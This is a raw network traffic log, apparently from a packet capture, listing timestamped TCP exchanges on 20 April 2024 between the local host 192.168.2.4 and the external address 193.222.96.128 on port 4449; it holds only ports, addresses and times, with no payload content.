Apr 20, 2024 10:07:23.228439093 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:29.729351997 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:29.973160982 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:29.973376989 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:30.190988064 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:30.247123957 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:30.451072931 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:30.460215092 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:30.717386007 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:30.718559980 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:30.964899063 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:32.480415106 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:32.736882925 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:32.744522095 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:32.948529959 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:32.996409893 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:33.198892117 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:33.200830936 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:33.449378967 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:33.449595928 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:33.700222969 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:40.229461908 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:40.479999065 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:40.480170012 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:40.684878111 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:40.732491970 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:40.934772015 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:40.942718983 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:41.185695887 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:41.185875893 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:41.446069956 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:42.604384899 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:42.856275082 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:42.856513977 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:43.061203003 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:43.119560957 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:43.322320938 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:43.324009895 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:43.573316097 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:43.573470116 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:43.824323893 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:48.057461977 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:48.305768013 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:48.312654972 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:48.515990019 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:48.560404062 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:48.762583017 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:48.808504105 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:49.792742968 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:50.040802002 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:50.041009903 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:50.300483942 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:50.916908979 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:51.168148994 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:51.168235064 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:51.372733116 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:51.510231972 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:51.697361946 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:51.697582960 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:51.699353933 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:51.713212967 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:51.713397980 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:51.949495077 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:51.949584007 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:52.193243980 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:52.193310976 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:52.397648096 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:52.468470097 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:52.670485020 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:52.678183079 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:52.933837891 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:07:52.934040070 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:07:53.188455105 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:03.812464952 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:04.056381941 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:04.056665897 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:04.267549038 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:04.335030079 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:04.537292004 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:04.539304972 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:04.793234110 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:04.793421984 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:05.039024115 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:14.837532043 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:14.888324976 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.090497971 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.090697050 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.091054916 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.293323040 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.293545008 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.298180103 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.298404932 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.495788097 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.497634888 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565115929 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565180063 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565220118 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565258026 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565313101 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565314054 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565320969 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565314054 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565314054 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565371037 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565386057 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565422058 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565447092 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565460920 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565465927 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565500021 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565522909 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565537930 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565547943 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565586090 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565591097 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565624952 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565637112 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565668106 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.565676928 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.565725088 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.746299982 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.796529055 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.809854031 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.810034990 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.998909950 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:15.999006033 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:15.999326944 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:16.065069914 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:16.202763081 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:16.210491896 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:16.463388920 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:16.762521029 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:16.762521029 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:16.964936972 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:16.964996099 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:16.965032101 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:16.965065956 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:16.965301037 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:16.966142893 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:17.012088060 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.012819052 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:17.036906958 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:17.167553902 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.167582989 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.167602062 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.167615891 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.167634010 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.167649031 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.167663097 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.167794943 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:17.168020964 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.215383053 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.215630054 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:17.293126106 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:17.293221951 CEST	49738	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:17.369858980 CEST	4449	49738	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:20.744885921 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:20.994580030 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:20.995210886 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:21.198880911 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:21.244595051 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:21.447427034 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:21.448872089 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:21.700268030 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:21.700561047 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:21.945967913 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:25.877058029 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:26.120178938 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:26.120237112 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:26.326407909 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:26.369549990 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:26.571538925 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:26.573317051 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:26.814169884 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:26.814420938 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:27.059061050 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:32.316456079 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:32.559765100 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:32.560513973 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:32.765739918 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:32.824310064 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:33.026349068 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:33.032454967 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:33.277077913 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:33.277167082 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:33.518673897 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:36.191926003 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:36.444488049 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:36.448460102 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:36.652668953 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:36.700305939 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:36.902323961 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:36.905848026 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:37.151871920 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:37.152394056 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:37.396064997 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:48.142391920 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:48.385396957 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:48.385489941 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:48.595282078 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:48.808269978 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:48.906841993 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:48.909461975 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:48.909461975 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:49.011441946 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:49.016366005 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:49.169727087 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:49.176269054 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:49.429147959 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:50.552264929 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:50.804824114 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:50.812364101 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:51.028325081 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:51.120264053 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:51.322262049 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:51.323622942 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:51.569945097 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:51.570003033 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:51.811731100 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:53.595623016 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:53.850042105 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:53.850097895 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:54.053874969 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:54.180341959 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:54.382478952 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:54.392261982 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:54.635580063 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:54.635665894 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:54.881201029 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:54.881382942 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:55.085460901 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:55.307039976 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:55.488559961 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:55.488656998 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:55.509259939 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:55.509394884 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:55.736763000 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:55.985121012 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:08:55.985238075 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:08:56.228465080 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:00.017076969 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:00.280605078 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:00.280711889 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:00.487252951 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:00.620268106 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:00.628362894 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:00.822109938 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:00.822429895 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:00.875524044 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:00.876127958 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:01.029695034 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:01.036277056 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:01.078150988 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:01.080322027 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:01.084247112 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:01.328988075 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:01.329061031 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:01.572758913 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:02.142182112 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:02.385752916 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:02.392256975 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:02.597826958 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:02.807012081 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:03.003794909 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:03.006412983 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:03.007674932 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:03.009100914 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:03.009347916 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:03.249538898 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:03.254878044 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:03.497903109 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:15.286618948 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:15.538393021 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:15.538562059 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:15.743514061 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:15.822498083 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:16.024661064 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:16.026664019 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:16.275751114 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:16.275818110 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:16.527018070 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:21.036266088 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:21.278973103 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:21.284245968 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:21.497720003 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:21.590452909 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:21.792439938 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:21.793909073 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:22.038063049 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:22.038136005 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:22.246954918 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:22.324230909 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:22.526444912 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:22.532236099 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:22.778840065 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:22.778987885 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:23.033025980 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:23.036304951 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:23.254743099 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:23.322510004 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:23.524696112 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:23.526392937 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:23.769268036 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:23.769481897 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:24.012258053 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:30.440577030 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:30.683166027 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:30.688365936 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:30.892862082 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:31.112229109 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:31.277075052 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:31.280277014 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:31.280277014 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:31.315298080 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:31.316246986 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:31.316342115 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:31.483474016 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:31.518315077 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:31.518522024 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:31.520015955 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:31.775594950 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:31.775758982 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:32.020936012 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:43.276211023 CEST	49730	4449	192.168.2.4	193.222.96.128
Apr 20, 2024 10:09:43.520788908 CEST	4449	49730	193.222.96.128	192.168.2.4
Apr 20, 2024 10:09:43.520865917 CEST	49730	4449	192.168.2.4	193.222.96.128
